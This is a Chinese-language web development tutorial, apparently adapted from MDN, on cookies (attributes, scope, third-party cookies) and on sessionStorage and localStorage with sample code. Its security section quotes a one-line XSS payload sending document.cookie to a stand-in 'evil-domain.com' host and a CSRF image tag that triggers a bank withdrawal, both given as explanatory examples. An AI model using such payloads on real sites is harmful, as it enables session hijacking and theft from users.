cookie、sessionStorage与localStorage是什么?
cookie
cookie是什么?
HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在客户端的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
Cookie 主要用于以下三个方面:
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
- 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等)
由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销。新的浏览器API已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB
创建cookie
当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 {{HTTPHeader("Set-Cookie")}}
选项来创建。像这样:
Set-Cookie: <cookie名>=<cookie值>
服务器通过该头部告知客户端保存 Cookie 信息。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[页面内容]
现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的Cookie信息通过{{HTTPHeader("Cookie")}}
请求头部再发送给服务器。
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
cookie的声明周期
Cookie 的生命周期可以通过两种方式定义:
-
会话期 Cookie :浏览器关闭之后它会被自动删除。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie 也会被保留下来。这会导致 Cookie 的生命周期无限期延长。
-
持久性 Cookie :生命周期取决于过期时间(
Expires
)或有效期(Max-Age
)指定的一段时间。Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止会话固定攻击(session fixation attacks),在该攻击中第三方可以重用用户的会话。
限制访问cookie
-
secure属性
标记为
Secure
的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防Glossary(“ MitM”,“ man-in-the -middle“)
攻击者的攻击。但即便设置了Secure
标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure
标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它。 -
HttpOnly属性
JavaScript {{domxref(“ Document.cookie”)}} API 无法访问带有
HttpOnly
属性的cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有HttpOnly
属性。此预防措施有助于缓解跨站点脚本(XSS)攻击。 -
SameSite 属性
SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中
Glossary("Site")
由可注册域定义),从而可以阻止跨站请求伪造攻击(Glossary("CSRF")
)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Set-Cookie: key=value; SameSite=Strict
cookie作用域
Domain
和 Path
标识定义了Cookie的作用域:即允许 Cookie 应该发送给哪些URL。
-
Domain属性
指定了哪些主机可以接受 Cookie。如果不指定,默认为
Glossary("origin")
,不包含子域名。如果指定了Domain
,则一般包含子域名。例如,如果设置Domain=mozilla.org
,则 Cookie 也包含在子域名中(如developer.mozilla.org
)。 -
Path 属性
指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符
%x2F
("/") 作为路径分隔符,子路径也会被匹配。例如,设置
Path=/docs
,则这些地址都会匹配:/docs
、/docs/Web/
、/docs/Web/HTTP
访问cookie
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
安全
- 使用
HttpOnly
属性可防止通过 JavaScript 访问 cookie 值。 - 用于敏感信息的 Cookie 的生存期应较短,并且
SameSite
属性设置为Strict
或Lax
。这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证
-
会话劫持和 XSS
在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行
Glossary("XSS")
}攻击。HttpOnly
类型的 Cookie 用于阻止了JavaScript 对其的访问性而能在一定程度上缓解此类攻击(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
-
跨站请求伪造(CSRF)
比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求。当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
你可以:对用户输入进行过滤来阻止 {{Glossary("XSS")}}、用于敏感信息的 Cookie 只能拥有较短的生命周期;
第三方cookie
Cookie 与域关联。如果此域与您所在页面的域相同,则该 cookie 称为第一方 cookie( first-party cookie)。如果域不同,则它是第三方 cookie(third-party cookie)。
当托管网页的服务器设置第一方 Cookie 时,该页面可能包含存储在其他域中的服务器上的图像或其他组件(例如,广告横幅),这些图像或其他组件可能会设置第三方 Cookie。这些主要用于在网络上进行广告和跟踪。例如,types of cookies used by Google。
第三方服务器可以基于同一浏览器在访问多个站点时发送给它的 cookie 来建立用户浏览历史和习惯的配置文件。Firefox 默认情况下会阻止已知包含跟踪器的第三方 cookie。第三方cookie也可能被其他浏览器设置或扩展程序阻止。阻止 Cookie 会导致某些第三方组件(例如社交媒体窗口小部件)无法正常运行。
web storage
两种机制
-
sessionStorage
为每一个给定的源(given origin)维持一个独立的存储区域,该存储区域在页面会话期间可用(即只要浏览器处于打开状态,包括页面重新加载和恢复)。
-
localStorage
同样的功能,但在浏览器关闭重新打开后数据仍然存在。
这两种机制是通过
Window.sessionStorage
和Window.localStorage
属性使用—— 调用其中任一对象会创建Storage
对象,通过Storage
对象,可以设置、获取和移除数据项。对于每个源(origin)sessionStorage
和localStorage
使用不同的 Storage 对象——独立运行和控制
属性
Storage.length
——只读,返回一个整数,表示存储在 Storage
对象中的数据项数量
方法
Storage.key()
——该方法接受一个数值 n 作为参数,并返回存储中的第 n 个键名。Storage.getItem()
——该方法接受一个键名作为参数,返回键名对应的值。Storage.setItem()
——该方法接受一个键名和值作为参数,将会把键值对添加到存储中,如果键名存在,则更新其对应的值。Storage.removeItem()
——该方法接受一个键名作为参数,并把该键名从存储中删除。Storage.clear()
——调用该方法会清空存储中的所有键名。
示例
//调用 localStorage 来访问一个 Storage 对象
//使用 `!localStorage.getItem('bgcolor')` 测试本地存储中是否包含该数据项
if(!localStorage.getItem('bgcolor')) {
//不包含则运行该函数设置数据项,然后再运行setStyles
populateStorage();
} else {
//包含则运行该函数获取数据项,并使用这些值更新页面样式:
setStyles();
}
function populateStorage() {
localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
localStorage.setItem('font', document.getElementById('font').value);
localStorage.setItem('image', document.getElementById('image').value);
setStyles();
}
function setStyles() {
var currentColor = localStorage.getItem('bgcolor');
var currentFont = localStorage.getItem('font');
var currentImage = localStorage.getItem('image');
document.getElementById('bgcolor').value = currentColor;
document.getElementById('font').value = currentFont;
document.getElementById('image').value = currentImage;
htmlElem.style.backgroundColor = '#' + currentColor;
pElem.style.fontFamily = currentFont;
imgElem.setAttribute('src', currentImage);
}